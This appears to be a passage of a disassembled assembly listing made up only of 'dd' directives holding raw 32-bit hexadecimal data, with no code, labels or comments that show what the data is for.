		dd 60F923F4h, 9D0310C8h, 461C01ADh, 98A4C354h, 33806B1Dh
		dd 4A2FC23Dh, 0E1A03BA6h, 0A1221D81h, 0CC8F9B35h, 70E0FFBDh
		dd 0DF61B201h, 0AF795E58h, 0D5258440h, 13C67628h, 1C43EE3h
		dd 0AA273FA4h, 9CA0DE19h, 0D6F0B69Fh, 0F35A1C0Eh, 55428069h
		dd 16497561h, 1E70C929h, 0FEA648h, 0E3A5D609h, 2052EDC4h
		dd 774F0094h, 0E6A93F50h, 0DF922403h, 0BB74250Ch, 0FCAE8900h
		dd 2431C7ADh, 0FEEB8DBh
		dd 60604DFDh, 0FFDDAF5Eh, 0B4B3C200h, 0F0783325h, 716E00CFh
		dd 16011B90h, 0A807100Ah, 0FDF26404h, 7B837960h, 0DACF004Eh
		dd 3FEA70E3h, 8000FF94h, 0C0B4F68Bh, 0D8D32Dh, 3725E579h
		dd 765F1FD4h, 0A0C32930h, 4BBA94h, 6004326Eh, 0C2D38DF1h
		dd 4CD1A0A0h, 8096303Dh, 44C693B2h, 3533C0h, 57A8C02h
		dd 365BFDCDh, 0A4242CB0h, 190369C4h, 78E13715h,	4BEB1C40h
		dd 76360096h, 6275974Eh, 0C70B211Eh, 200511C7h,	0D6C35E73h
		dd 0B8D20030h, 9DB532F6h, 0BC0150FDh, 0F46569ECh, 36F430CDh
		dd 3AB01E7Ah, 0ABC580C7h, 0D9D4819Dh, 19334206h, 3C8B874h
		dd 4187BC1Bh, 8BE01F5Eh, 0CB0463C5h, 0B8CA156Bh, 0C00C885h
		dd 48AC3FB6h, 96E7236h,	6B93305Bh, 83CBC800h, 0A224F9C6h
		dd 1630A8E4h, 0B899CF95h, 7EC4059Ch, 49D92688h,	8C908AB0h
		dd 0FF4924E5h, 56AA00A0h, 30F5127Ch, 0F85975E9h, 0B60D07F9h
		dd 0B0C8FFDFh, 0CA99844Eh, 0A85C4D00h, 1E14EF0Ch, 0E3770FB3h
		dd 2FE761A6h, 272AE03Bh, 6C7773B9h, 0BE288D60h,	4AEEA6h
		dd 7D0D3C59h, 0F3A369D6h, 36FBDB0Bh, 38E700A8h,	0F3CE071h
		dd 0D86BD5A2h, 13583500h, 0A4009D5Fh, 343FA955h, 1EFB5A61h
		dd 8E2FB8FEh, 0C0BE4386h, 735D70EFh, 0DC00A00Ch, 3161C2E6h
		dd 7C3BBFE4h, 0B35C005Eh, 0CA4A49ADh, 2301A443h, 59D76E58h
		dd 0E06F89A8h, 0F00CF1F4h, 186B2FC9h, 14D503CCh, 994ABA92h
		dd 63E2009Fh, 0C01FA872h, 3A80025Eh, 0C519684Fh, 0DF6D0087h
		dd 801A8926h, 73025778h, 1FD62BE2h, 7F988047h, 0E55F55h
		dd 4E159BF3h, 4B2DC967h, 0C30B570Fh, 20B6CFD2h,	781385B0h
		dd 32B026Bh, 4ACF735Ah,	0FB3910A0h, 201EA3BCh, 94C30FD3h
		dd 8055675Dh, 0AF3DC7h,	0AA38DC40h, 43CFE9F0h, 0ED64AB00h
		dd 1C487ADEh, 71230190h, 0C4EAEB3Dh, 812DDCAFh,	5E302E00h
		dd 198E37CEh, 0DB252840h, 10503ECFh, 0B8D53880h, 2FEC1320h
		dd 79FAE500h, 6DEFBF92h, 0D1E02C5Eh, 84BD00D3h,	0FD3554B4h
		dd 0B75A6700h, 0F2283D98h, 0B3DD009Bh, 0D4DA5515h, 3E0003AEh
		dd 7F38E532h, 15D645Ch,	9E35B776h, 0ECE2F01Fh, 60006C3Fh
		dd 0EE2AC9B3h, 7B975564h, 98520019h, 15AAC308h,	3E00097Dh
		dd 0CED7EA7Ah, 9F65EFCh, 42F3B26Eh, 0B404EF8Eh,	0DB59C037h
		dd 0BF095038h, 80746BF9h, 5A3B9FE9h, 13B805F7h,	12FDD47h
		dd 3E4D0280h, 6F188975h, 0CFAB870Ch, 2DC06A37h,	0F86529h
		dd 112B42E2h, 0AA59C0D6h, 57EF6B00h, 3A9DEE8h, 0F3FA18h
		dd 413AECC8h, 80B64C45h, 7864F800h, 0B7700F9Ah,	78B8FE57h
		dd 0F3AC50DAh, 4B010h, 0D856D7DDh, 0D59E7D43h, 170A5B70h
		dd 0E8FFA2AAh, 0C6714885h, 222B4CC0h, 417203FAh, 0BA840817h
		dd 0BCE986B0h, 651BA700h, 8FE8167Ah, 0A65F00DCh, 0B3AB18E1h
		dd 0B90061DEh, 0E5B09B44h, 3B664FC0h, 2006ABDh,	1EAE9E11h
		dd 5D1D9179h, 1D4B29FCh, 0E772809Bh, 18D91425h,	6854A96Fh
		dd 8B00CAAAh, 0B05A1D75h, 0F8499A94h, 0AF200AE7h, 3F1EACFh
		dd 741DFADCh, 28CC54E0h, 0D77F8A00h, 37FD4C77h,	0F5BA0088h
		dd 48E13E7Bh, 9F00C4D9h, 16450D31h, 98660E5Fh, 97F72h
		dd 0C003D081h, 0DE9B8C9Eh, 75B49900h, 242E73E3h, 0B7F467h
		dd 0F6626AB1h, 0E405EA96h, 4D77291Eh, 0EEAF7300h, 0FEB7078h
		dd 34F1DFF0h, 0CD035DC0h, 170EBD69h, 83755059h,	0E961DB5Bh
		dd 8CC1A11h, 819E3067h,	5F8B96ECh, 283F5BEAh, 0C933807Ah
		dd 14CF8C1Bh, 5E60034h,	0D1AE0919h, 1C00EEABh, 0A107CC6Eh
		dd 0E88E8D38h, 6B27002Dh, 92D53E9Ch, 1E07D68Fh,	0FAF30B8Ch
		dd 2F981A0h, 0CE3900ECh, 0AC6D4D4Ch, 4A26D5AFh,	5F008CAAh
		dd 0C15E403Eh, 505617C6h, 0D79A0087h, 793FC55Ch, 33F3ED00h
		dd 0B0759105h, 0FA1100A4h, 6F8C218Ah, 0F23B8506h, 5AD21CF1h
		dd 0DA8B3540h, 3A994D7h, 113EEBA3h, 680F97B9h, 1F9F9ACBh
		dd 0CA115819h, 0E1C387E3h, 3CE37Dh, 68D9E591h, 0A7C62CD0h
		dd 1D27F23Ah, 6501A6D8h, 0A3E0D779h, 13F8FF0h, 0D9948C85h
		dd 20FD0261h, 0BD0EF460h, 8C682314h, 7CD75134h,	4A20F36h
		dd 281874E5h, 0CD067EFCh, 0CA22DE7Dh, 0C8090698h, 20DD6906h
		dd 20E0F328h, 9FA2C103h, 0A18F3905h, 68C4E224h,	7E850092h
		dd 0B9DCF244h, 23009D3Bh, 0F15C2D7Bh, 6CA957h, 0B3BB4954h
		dd 0DC6996E4h, 0FBFE7F7Bh, 6715D20Ah, 8600866Bh, 7AFAED3Eh
		dd 5BAF00A5h, 4BD42AB4h, 6F712391h, 8500C273h, 0C3F4CD9Bh
		dd 1FE62D8h, 8B939E99h,	7030829Ch, 790F2A8Eh, 232F4B94h
		dd 90E8C5CDh, 0E32D836h, 0B613CAA9h, 0A22064A0h, 0D00FA6Ah
		dd 5D21CF97h, 0E89423h,	6D8D0806h, 92868554h, 0DAD8B600h
		dd 67CEECD1h, 39D7778Bh, 451E5281h, 0F5E38091h,	47E2A2C0h
		dd 0BE3A8502h, 0C040D739h, 5491A4D5h, 3A3E9C41h, 0DF3B9912h
		dd 1938BC52h, 9E841B80h, 0C56C8D53h, 4F79EF00h,	23A35C44h
		dd 0E528C04Eh, 70BF4340h, 0E099861Fh, 2BA2853Eh, 0E3C798F5h
		dd 6463409Fh, 0F9C7C5Eh, 155DA9C4h, 0EF05D060h,	88EE60CFh
		dd 48F6FAA1h, 7900E9E8h, 3F67EB66h, 65AC9A3h, 92CE1F8Eh
		dd 0F70FB143h, 40877AEEh, 305A83B5h, 0F967007Fh, 0DD4B26D7h
		dd 9B7CDC11h, 1986A830h, 0C0D995E1h, 10B7B160h,	0FC009EC3h
		dd 257E807Bh, 606EE0h, 63AA39BFh, 0F3A9965Eh, 0B179F200h
		dd 892C5054h, 0EEBD00BAh, 31A0294Dh, 1C3CA665h,	0A50F81E8h
		dd 94067947h, 3969F6E8h, 0F8F834C4h, 3A467220h,	8E067B7h
		dd 95E863B4h, 29991D00h, 4A148E9Ch, 79810DA8h, 83409722h
		dd 3721F829h, 0B10A6C0h, 0DC647DDEh, 212C3306h,	7A2BFF01h
		dd 0FDD30A91h, 785A6F8h, 0C8328B24h, 0D129609Bh, 0F84CE7B4h
		dd 9748608Ah, 31C3ADCh,	2B57DB8Ah, 833D932h, 0F820503Eh
		dd 6138F5h, 46AA362Fh, 21F6A7A1h, 89C6CBFAh, 9A1FA67h
		dd 56DFABEFh, 0B86305h,	0A444DE9Ch, 5901ADF6h, 7C26B16Ah
		dd 0C1F497F0h, 7D5D71F4h, 0F03B02Dh, 78DACFCAh,	0B728D0A3h
		dd 52D44998h, 6695C58h,	0F7626EFBh, 0C05F022Eh,	97A6AF1Dh
		dd 0F37EBB60h, 9954870Eh, 0EC4C066h, 7AC8F5h, 2F12E6E8h
		dd 0DCE4A1C6h, 0EA88F800h, 3D42CA33h, 0BF220026h, 56486676h
		dd 6363643Eh, 0F1654A10h, 0D4605371h, 0E7661F0Dh, 5FA43DA1h
		dd 521E0006h, 0E4C3F037h, 6328E65Ch, 888A7D60h,	0C4C15925h
		dd 40013E18h, 0AB714992h, 26EF0046h, 0A8A791F6h, 667B5B98h
		dd 28042A30h, 1FF1D5h, 0BF3ED07Fh, 9687540h, 7A41460Eh
		dd 5B578618h, 0EAB0C6F8h, 820191C8h, 0FAAB8438h, 20805C56h
		dd 0B8EA938Ch, 8FF2D1BEh, 16504700h, 5862140h, 0C4B100CCh
		dd 4ED25720h, 0B400FA96h, 7E116A8Ch, 0B3D152h, 724B6840h
		dd 6B1F3DC1h, 194504ADh, 0AE041C11h, 7ED770B0h,	0F0F2C700h
		dd 0DC5F0DFBh, 792D1A60h, 1C329A5h, 1AF63100h, 0D2AB3267h
		dd 427200ACh, 0F2C009F1h, 914C5DAAh, 6BDC0054h,	6A70576Eh
		dd 0FE3E006Fh, 0F1E1C1A2h, 0D70635BCh, 51CB6656h, 0D4F20050h
		dd 4D5B2245h, 0A400C76Ah, 0C0A10838h, 28378E0h,	6BB30C44h
		dd 88404D52h, 7A296DC8h, 4BC22063h, 521230AEh, 3CFCE9C0h
		dd 0FF57202h, 0D29A565Dh, 8DAB811Fh, 0D89DBB78h, 0A57A544Bh
		dd 3191FF0Eh, 1288C12Fh, 4083171Fh, 25207667h, 0D59586E8h
		dd 0C8651C00h, 0B6260E8Eh, 0E3190066h, 0A3D17ACFh, 0EF1E025Fh
		dd 350E9B21h, 9EAB8087h
		dd 9D72301h, 26E4BCDFh,	0F15E7A80h, 2C3A3B1Ch, 8021BF4Fh
		dd 6894EABh, 0E1A179h, 22DDB49Bh, 0A4E02BF7h, 0E5BF0B00h
		dd 12B36966h, 2D2A0088h, 824B1E67h, 0A760878Ch,	0C87BE168h
		dd 0B66C1F63h, 0C289403Ch, 6872B9Dh, 9B20BE60h,	0C7471Ch
		dd 79F69AD2h, 56619601h, 23D6E40Eh, 249DC0F4h, 307B72EAh
		dd 0BDC1E71Eh, 0E2079568h, 0DF87461Ch, 397A1B20h, 0E9610342h
		dd 7B06880Dh, 3E57B900h, 0B77E4A46h, 0B3300437h, 801DFCDEh
		dd 61836E09h, 0FA827901h, 0D19B8DA9h, 3DD0B98Dh, 0E0C3E141h
		dd 0A970C981h, 0D80BD20Ch, 0B0892Ah, 5E474C6Dh,	0FEE61011h
		dd 65560800h, 61291486h, 53310A43h, 790873Ch, 6047663Ah
		dd 0F688AF41h, 546252h,	3877F55Fh, 25763Ah, 0B3966D27h
		dd 0B4069FD9h, 8EC09B06h, 0A19E87h, 5B34F9D3h, 1AAE3247h
		dd 497C2832h, 7C20C37Ah, 0B02C2AA1h, 345203B4h,	0AE38A2AFh
		dd 281006C5h, 78303980h, 238F19B8h, 241D0011h, 75804FBh
		dd 40C1C8EEh, 0AE31784Fh, 1DF54570h, 4AE0D188h,	128D529h
		dd 40B0585Ch, 9A097086h, 61780333h, 163DD8D4h, 0C099008Ch
		dd 594C456h, 803C59Ch, 0C6874B02h, 749002Dh, 0A53B1F13h
		dd 4C006AC3h, 0C7EEE329h, 5B9D7Ah, 97655996h, 17F9340h
		dd 0D1FEEA06h, 0C1A678h, 0BBCBACE0h, 5241DE0Ch,	723F057Ch
		dd 562160D9h, 0B8D269CAh, 37B900D6h, 0C7E50216h, 7F3E9FAAh
		dd 84F4503Ch, 0B63D6F00h, 40220646h, 0E08E7E0Dh, 1BA8A0ACh
		dd 10DB0ABBh, 42BC8223h, 8820E829h, 63A0D83h, 357BF739h
		dd 0C02A1914h, 7600E0A3h, 0F23BD640h, 18E29664h, 788F6981h
		dd 0B5F81BA7h, 0B4006641h, 7369E10h, 65ACCF5Fh,	0ABD870F1h
		dd 0D1C0B9FCh, 7A7C723Eh, 2640A810h, 99F3582Dh,	23C68212h
		dd 20C09D08h, 8915DE54h, 0F7085B3h, 0D4387B0Fh,	11929FE4h
		dd 0B00B1C45h, 2420C385h, 0E6FF4983h, 60AD48F1h, 1919BD30h
		dd 0E900B538h, 59A6A11Fh, 0BAFD0Ah, 4E66920Dh, 87417A4Bh
		dd 11F0F8ACh, 41AE2D30h, 4CACE362h, 8043445Bh, 9F183072h
		dd 0C9DC2A20h, 0AEECFC09h, 4E98808Eh, 6B2D25E5h, 3104E9D7h
		dd 98E088A8h, 998DAE44h, 91263E7Ch, 10F2601Ch, 6CABA92Fh
		dd 69D213ABh, 3C089C42h, 0CDE11ECh, 0FCAA8301h,	0F0BC9071h
		dd 2A80440Bh, 3BAC3400h, 0D1F8706Bh, 0AD1701BAh, 3557FB0Fh
		dd 0E26E8292h, 4CB0EDE0h, 9C83005Ch, 0BEC882D8h, 0AA1B102Ah
		dd 0E87113C6h, 0E0E6A278h, 71B0E651h, 0E8A314ADh, 0BB10F086h
		dd 55127B69h, 5C5A999Ah, 0B13061F0h, 73D7D892h,	8E91D0DCh
		dd 0C7608CE9h, 1D46917h, 83F68FB6h, 0D8762F91h,	4519F82Eh
		dd 66283B6Ah, 33F28014h, 0B7006061h, 0B0E402C4h, 0B08B9D0Fh
		dd 609720Eh, 2E353D32h,	68C17018h, 9C0ED8C0h, 59F05D03h
		dd 740229CBh, 37B13330h, 0EF76C02Bh, 0E7EE13C0h, 896C0FBCh
		dd 29102048h, 221317C4h, 0D4B8122Dh, 49971E7h, 4FDFAA07h
		dd 0FE2536C0h, 892804F5h, 8BC40FACh, 0C2D0090Ch, 0EEDC0050h
		dd 52FBF34Fh, 7B266CA9h, 0A4B029ACh, 0FD1A02E8h, 0C442874Ah
		dd 22325061h, 0C8B6C0F4h, 26507D6Bh, 9301065h, 100A3606h
		dd 8C0F152Ch, 88BEB850h, 0D0A89778h, 0DB001DA5h, 3ABC7ECAh
		dd 3C57F81h, 479C73A0h,	31B61406h, 0CB8C44h, 393C52BFh
		dd 2C9EE833h, 0FE5D7E28h, 462E124h, 0F8D757C0h,	0E875059Ch
		dd 0BAB03FECh, 0ACD5EBC1h, 56011060h, 682194D1h, 0D070D712h
		dd 0A0B62B7Bh, 2D0C8D9h, 4EAA656Dh, 68B8821Ah, 62006AF8h
		dd 1CDAF67h, 90D13A7h, 0C1C02B07h, 40DFE404h, 6151E2C2h
		dd 0E96890A8h, 26691430h, 4050D8F0h, 3E82CAC5h,	4336B30Ah
		dd 0D300DC40h, 7BC953F8h, 0AC115217h, 9A982D21h, 518FD1h
		dd 0CDD45F3Ch, 0AF42C9F0h, 67180706h, 0E9ACC0h,	0A1112278h
		dd 0E8D1D48Bh, 8A85024h, 0F976710Ch, 811A04F5h,	9C5FEAABh
		dd 1960C608h, 0DACC42A9h, 52B70059h, 6C12D7EBh,	0CD0971C9h
		dd 3A73254h, 0D889101Ch, 773C831Bh, 0F00B4852h,	668E384h
		dd 0F4512BC6h, 34240016h, 438C4DADh, 1505B4A9h,	0C2748375h
		dd 9C8CF064h, 0E48F00F6h, 0A17A9336h, 0D902F894h, 8DA6408Ch
		dd 90D4E456h, 0F8C5520Ch, 20C613DCh, 0AC88C2D8h, 0E28B9218h
		dd 2D4A229h, 5DB25C7Bh,	0FC4434FCh, 0AA241A15h,	0DDCC4CBCh
		dd 93DF81BCh, 0D8C65A23h, 8040E0D9h, 3ABFA9E5h,	0A5BC2040h
		dd 4A3B3804h, 0ACBC8031h, 4CA09BF6h, 0D088AA9Ah, 19A0632Bh
		dd 0B101BCC7h, 20033328h, 0F43364A6h, 2D10D404h, 917844BDh
		dd 0C0564893h, 1F74D955h, 3905400Ah, 0C059EE00h, 47161008h
		dd 23C33503h, 0CDBF9Bh,	8176E579h, 56065ADFh, 0A644F600h
		dd 85BBFDC3h, 5C380221h, 734D83ABh, 7CC08487h, 5A002239h
		dd 0DBB64E6Fh, 270A09Dh, 0C251D31Ah, 8CC2024h, 0CB7A724h
		dd 3B268500h, 0A112979Ah, 0A422F984h, 0F1FEC718h, 2B005777h
		dd 2A7162F4h, 392D8C28h, 0F800A10Fh, 8A07B0E1h,	0A005D14Fh
		dd 856834B1h, 7D6E6F80h, 33997096h, 4508A824h, 64C303A8h
		dd 27D8720Fh, 0A9E820A7h, 7349ACh, 8F93EB95h, 0F9A8551Dh
		dd 41842930h, 227AAh, 375AD7ECh, 0E37C97E8h, 61380AE4h
		dd 0D8EF01FEh, 0D2856B10h, 974B7888h, 1B351400h, 1F46607Ch
		dd 86452475h, 204CF1C7h, 1E98A500h, 0B78FC91Dh,	6C4203FCh
		dd 69B989E6h, 475BD888h, 30C1215Ch, 642F4163h, 80441E83h
		dd 22183941h, 930BD9CCh, 0F6E701Fh, 313B7778h, 17E10068h
		dd 8A52A9CDh, 7DC70D38h, 0CC30972Ch, 2350A376h,	6600DA20h
		dd 0FC79CF3h, 32BE4C1h,	3808AE1Bh, 0B60019E6h, 7D44A07Ah
		dd 0A640BB7h, 782876CDh, 0AF548190h, 0D4FC75B0h, 0F30A725Eh
		dd 806BA3FEh, 3E1F9C93h, 0B91080FCh, 8624EAE0h,	763A33FEh
		dd 0F6A06441h, 9C78D214h, 9F23B018h, 24BEE199h,	0E43D17Bh
		dd 76C303ECh, 8046650Bh, 6FDF00F8h, 75A6C9ABh, 1EB3D80h
		dd 0C1E803B0h, 5500E4F1h, 0E63C4CDCh, 25B21D9h,	75E273C2h
		dd 88A09B1Ch, 714872E3h, 0E8A20430h, 0A63F157h,	4A8068CDh
		dd 862870E8h, 0E12C1C0h, 38F3DCB9h, 3C0CAF74h, 22599201h
		dd 86BE871Ch, 0DE6D1A03h, 0AC81C0B5h, 0A45D3F7Bh, 0A798B680h
		dd 0A296E7DAh, 101F1B05h, 0D422247Eh, 0EE74B171h, 905099E1h
		dd 293E6D3h, 19E7A6EFh,	4C41AFECh, 866D001h, 129940C0h
		dd 7FD6094h, 1FEA59C9h,	0B3833F7Fh, 0C83D656Ah,	2B28D4EEh
		dd 136091FCh, 0E5CC6588h, 9B49C0F3h, 0B0985933h, 1E84EC00h
		dd 0B6BFDEFCh, 90540A4Bh, 14D012F6h, 9C40B014h,	9679209Ah
		dd 61C02478h, 8D12FE4Fh, 0F417E8Fh, 102037DAh, 11429F8h
		dd 9CF9AC60h, 820986h, 5CEAF938h, 0C8527EADh, 10079D00h
		dd 0B889F2E7h, 16CB1895h, 0A0EF6064h, 4096A830h, 32B1E77h
		dd 0A4C540F9h, 7CC857B5h, 0F4035184h, 4F4D4612h, 2538000Ah
		dd 3A01A41Ah, 7E3C33C5h, 1CF16066h, 10A760h, 8DA3A55Ah
		dd 5156E25Ch, 97F8EE19h, 3778D1h, 71CA704h, 9029094Dh
		dd 7B3F40h, 675FA5EAh, 98278290h, 0D41D2B05h, 5E80515Dh
		dd 504CEF7Ah, 608B9C62h, 2865611Fh, 0EC0C12A9h,	9914E7A7h
		dd 36100246h, 79EB2A1Eh, 0C823C884h, 0E500C370h, 0ED40892Ch
		dd 0CF9C8DAh, 0CAF5EE72h, 2B26CC21h, 70A440F8h,	0FD2F6B60h
		dd 77B42661h, 264B002Eh, 46CC311Bh, 0FEEE7018h,	76CF4529h
		dd 73B22440h, 76D10010h
		dd 5EF288D4h, 0CA313300h, 0EBEF2F04h, 117F37A7h, 301889B1h
		dd 0AF04E632h, 287AADBEh, 0C31088h, 3F7C7208h, 82B1EEDCh
		dd 5D02D112h, 7395C471h, 8F807E10h, 66181492h, 0C61844FCh
		dd 0F2CF0093h, 9258A3E7h, 21153C0Dh, 81B060B1h,	7E3BFF95h
		dd 75129420h, 4F130179h, 22A19394h, 0EBA980AAh,	0A3681D48h
		dd 0BE0C0FA2h, 0A61CECD5h, 8CB514C8h, 44A81184h, 38D06506h
		dd 0E68693CAh, 0F2A7017Fh, 70E7A7Eh, 0D29C5CD6h, 0C105E679h
		dd 4526B119h, 0D97450h,	0E2C7800Ah, 2A4123ABh, 460F712h
		dd 43681F9h, 0D634C0DFh, 0E4A47969h, 47A418A0h,	580231FEh
		dd 487B02A0h, 66C84198h, 8004C22h, 280FA5F2h, 11F2B14Fh
		dd 0A93E7B75h, 719C0094h, 2A06AF12h, 933C99D0h,	7CD808E2h
		dd 0EB917980h, 28463011h, 3F58632h, 384C8E5Dh, 0CC9467ECh
		dd 0E57BF580h, 19706500h, 2986F7B8h, 80520011h,	7A3A2BDCh
		dd 0DB7D8AE1h, 0CB231215h, 0F0F400A8h, 0CF68F5A3h, 8C3607FEh
		dd 794E27h, 4CBD58Dh, 0A3570507h, 8C05E6Eh, 48AC197Ah
		dd 0E50988F3h, 2C856D54h, 22280024h, 0C7E4CDC8h, 5D00E076h
		dd 0CF95D8A3h, 98C316Ch, 4F584074h, 88621432h, 0C35E94A0h
		dd 9370B513h, 3003EEEh,	0D4FA52EBh, 723CEC17h, 1EA72409h
		dd 19998E00h, 68C5BCB4h, 7E9C22A6h, 0EC93C0CCh,	58E4E414h
		dd 28308A1Ch, 0B8CAA463h, 0F1D60B1Fh, 88CC7048h, 0AB3C1181h
		dd 0BE4F01E9h, 2DCE5F91h, 9B1C6FCh, 9E6EF5F0h, 0FF668CA2h
		dd 47A8984Bh, 5A3AC5EBh, 0C4938324h, 0D8DF8731h, 1641CFCAh
		dd 3425EA9Dh, 0CF3CD878h, 0F690D4B0h, 88921B72h, 82AC184Dh
		dd 64F8EFC0h, 6E06303Ch, 38D83DD1h, 6B720E00h, 0EC6DC28Ch
		dd 708700B6h, 0E6E45005h, 32027BABh, 84BBA27Fh,	987AC3B1h
		dd 0AECECB19h, 257E10F0h, 68970596h, 0A0467194h, 79B524h
		dd 687D211h, 6E82D6D4h,	305E0A05h, 749CCE92h, 498FF506h
		dd 0B240D5C9h, 0C25D5118h, 71CB1A03h, 0EBEDBBh,	0F0265424h
		dd 0E4D9E0D4h, 3BC4CF49h, 0ACFD2AA7h, 800C295Ch, 1281787Ah
		dd 0A8210093h, 0F1179E9Ah, 763A8551h, 4D1B85B6h, 0A4C82B15h
		dd 5F9862h, 67247053h, 64E8F62Ch, 60D2BE09h, 0C6209843h
		dd 0EC9877h, 0A9DF1D05h, 198127D7h, 9C839CB9h, 0FC385287h
		dd 6646FAC2h, 7C710330h, 6854B09Eh, 231E8800h, 49D4390Ch
		dd 0D0EFF1EAh, 0F6E4846Ah, 0AE970AEBh, 44A822F0h, 119CC077h
		dd 40E50301h, 50C44498h, 0E9B12Eh, 722E1C91h, 1170EA5Ch
		dd 277E0974h, 0E094ACh,	757D0F84h, 673DB446h, 63D51200h
		dd 90A37FF7h, 508B00A1h, 47A8B67Eh, 2952F317h, 48D41E9Ch
		dd 0A31A6587h, 0BDFBE09Eh, 17E6ED12h, 282CFE79h, 0A6540378h
		dd 67E8D968h, 8C7EDF29h, 7013D292h, 0F2FDBC04h,	256C9A47h
		dd 1FE408DFh, 4C168848h, 0CFEA2801h, 0D46261B1h, 2BAFD501h
		dd 92B4B834h, 90282A88h, 77FB449Fh, 0A3A07107h,	0AD036FAh
		dd 140CC7Ah, 0CF0D34CAh, 76F7E51Fh, 95D44034h, 1A83852h
		dd 0A5A09457h, 12D43E8Eh, 68FE5259h, 0F0F97605h, 28E488CCh
		dd 1F7470C2h, 19CC487Dh, 28E65DC6h, 10EC4824h, 0C5B98E95h
		dd 0B4C801ABh, 4978639Fh, 417C19CCh, 63700C53h,	84FF8260h
		dd 1411E400h, 0A83C9559h, 21F18A9Ch, 28C3CC2Fh,	92D10220h
		dd 40360435h, 0BCACB851h, 618AD11h, 80267967h, 57FB6D01h
		dd 4B7766Bh, 4BDC820h, 4FF496E7h, 2214C10Eh, 4C2D1597h
		dd 145912F6h, 0B9FD3F00h, 0F5C31Fh, 0DCBDF086h,	87EADAA9h
		dd 585C7953h, 48A32204h, 9DC00077h, 73EA0817h, 6679C006h
		dd 18460Bh, 22FDC1CBh, 0F3BC07EDh, 11DB7E00h, 0D7BA4BB5h
		dd 864F03C0h, 5F75443Ah, 0F292F9C8h, 0E242E101h, 77C9F67Ah
		dd 0C3D7F7EDh, 20F8B2F3h, 9E65615Fh, 82F26801h,	0BE2660C3h
		dd 0F20DD2E0h, 20E0507Dh, 0D2E376h, 0C45EDD9Ah,	38B62E03h
		dd 3086F7Dh, 0E5CB7A18h, 0B9B80FA0h, 1B3E92AAh,	44201F1h
		dd 1D70EED0h, 93C92980h, 32A135E4h, 0C050B179h,	3B008896h
		dd 0B24DF55Eh, 9183A2h,	0B0D0B4DCh, 59D23F2Ch, 9AF6F800h
		dd 16D38FE1h, 0B5695DB8h, 0A9733A00h, 5E9C3613h, 0E7EC8CA6h
		dd 8027C1C0h, 755903h, 95B8C01Dh, 1833AED4h, 94B9C100h
		dd 5B964CC6h, 50CC1888h, 0C435A9F8h, 9039632Ah,	211E5600h
		dd 9CD0FF62h, 0D8460AF3h, 0C08C6BC9h, 0DFF8DCC5h, 0DA7EA503h
		dd 71EBA430h, 8FB30080h, 7F225A65h, 0F97C0BFCh,	0D550DC1Bh
		dd 0F44811E0h, 350C00F7h, 39772ACFh, 0EBF8001Fh, 0DC7383ABh
		dd 0AF50386Ch, 59C0EA88h, 70E46DF7h, 7DA907F5h,	39C9E9DDh
		dd 0D550801h, 0DA90D3C7h, 0B62846CDh, 0ED20F8D6h, 0B79A00AEh
		dd 5E389F16h, 0BA0045F3h, 2D48990Dh, 0C1571Ah, 822F750Fh
		dd 4F89A77Eh, 77E2774h,	9611CF00h, 2C7CCADh, 2F200017h
		dd 0AB62FBB9h, 9D071B98h, 0FC2B2D3h, 0A81882D0h, 1361811h
		dd 0B71A0838h, 56FBAB2Ch, 5F93740Eh, 6340CDDCh,	0D052D36Eh
		dd 0BF8E0F5Fh, 1220EC9Dh, 3D1C807Ah, 201847E0h,	36802DB9h
		dd 53E30C93h, 0E111D01h, 0A8DDF503h, 0C888ECF9h, 990732Bh
		dd 66D7B79Dh, 0DC2E3600h, 0F0ECAAEh, 98AC0B31h,	19F2891h
		dd 8FD9E703h, 80ADB005h, 0E40E9619h, 0E371E4Ah,	5C5299E0h
		dd 200A0920h, 79C31FBDh, 780F282Fh, 0FCF89730h,	0D58219C1h
		dd 9C434824h, 1BF292h, 1210AB0Bh, 20A030C5h, 7C771C00h
		dd 5CE145Ah, 0A539917h,	0F9A4301Fh, 3B019648h, 0EF0943BCh
		dd 698008A9h, 9EB11025h, 89075F42h, 3834B0CCh, 1214FD80h
		dd 0B70500C5h, 1B9931C1h, 44A0ABF8h, 1F00E436h,	0A0D232A8h
		dd 141D13AFh, 94745BC5h, 3202F021h, 80AA4979h, 3E34CB1Ch
		dd 781400C0h, 36B32490h, 9100BA76h, 0A04F490Eh,	66A0BE5h
		dd 0A31FFB12h, 2E03A93Bh, 8D08382h, 6AA8948h, 0E6411980h
		dd 9FD68D0Ah, 0EB21D20Ch, 88193810h, 0F9135F0Bh, 0FE0A3B53h
		dd 0A00A8067h, 0ED809C0Eh, 2219B9F4h, 0BBC8125Fh, 9E1C609Fh
		dd 0D1F4F2C5h, 276A40C1h, 59812134h, 0A01F1296h, 99118338h
		dd 14142E95h, 0F0BF20F9h, 9A629FC8h, 96AB231Bh,	0D08DC8E2h
		dd 0B3B6DCA8h, 0EF1A351Fh, 0C518FD40h, 602F54B1h, 27CF198Eh
		dd 94AE7287h, 2EDEC803h, 0B9B671A9h, 61800864h,	2FC49A7Bh
		dd 0F0CA544h, 0D8EFC5D0h, 50AC4901h, 5DDE9D07h,	21A74547h
		dd 8026A27Ch, 954AF0B1h, 72F767h, 0A09E649Bh, 10F5163Eh
		dd 32400E14h, 16483A8Ch, 380996A1h, 0AE3002A8h,	0E08C2722h
		dd 0D713E61Fh, 0A5C4A53h, 0A8208F10h, 43BBE840h, 0F35F0006h
		dd 0EA589E53h, 0E1835ECh, 2C910DA1h, 75130076h,	7D8C2E78h
		dd 790039CEh, 287437C0h, 240B07E1h, 44901194h, 0FC74005h
		dd 3FB2A61h, 7DEF5915h,	34800869h, 91005FAFh, 0A554DFFFh
		dd 30CFAC35h, 0F8B607E2h, 991884FBh, 0A0D97A10h, 2290A1D2h
		dd 0CD56F017h, 6D00D7CCh, 0A7C3FBC5h, 68C99F1h,	0AA4A7914h
		dd 8700E101h, 3C8D7F59h, 3D946FE8h, 48ABBB46h, 0F8A20C88h
		dd 7B007D59h, 2B225287h, 0F3C5102h, 859ED19Dh, 0D601EA40h
		dd 4F0082E4h, 0A29B3DB6h, 674B5BFh, 0E03CB22Ah,	79000872h
		dd 0D6C12139h, 1F65B9h,	3A549B17h, 0F66B26ADh, 4864C401h
		dd 106E4D4h, 342BD0h, 6F90316Eh, 14B7935Ah, 0CF130BF4h
		dd 5E04F99Ch, 0A380B8CAh, 0CED931CDh, 39E75638h, 0DB484C78h
		dd 9EA9C300h, 3EC955A5h
		dd 1880E9CEh, 925163C2h, 0F701EB48h, 4CDF61C1h,	2BC49FD3h
		dd 49452893h, 0F17D3744h, 4F878358h, 0CB03417Ch, 85F49261h
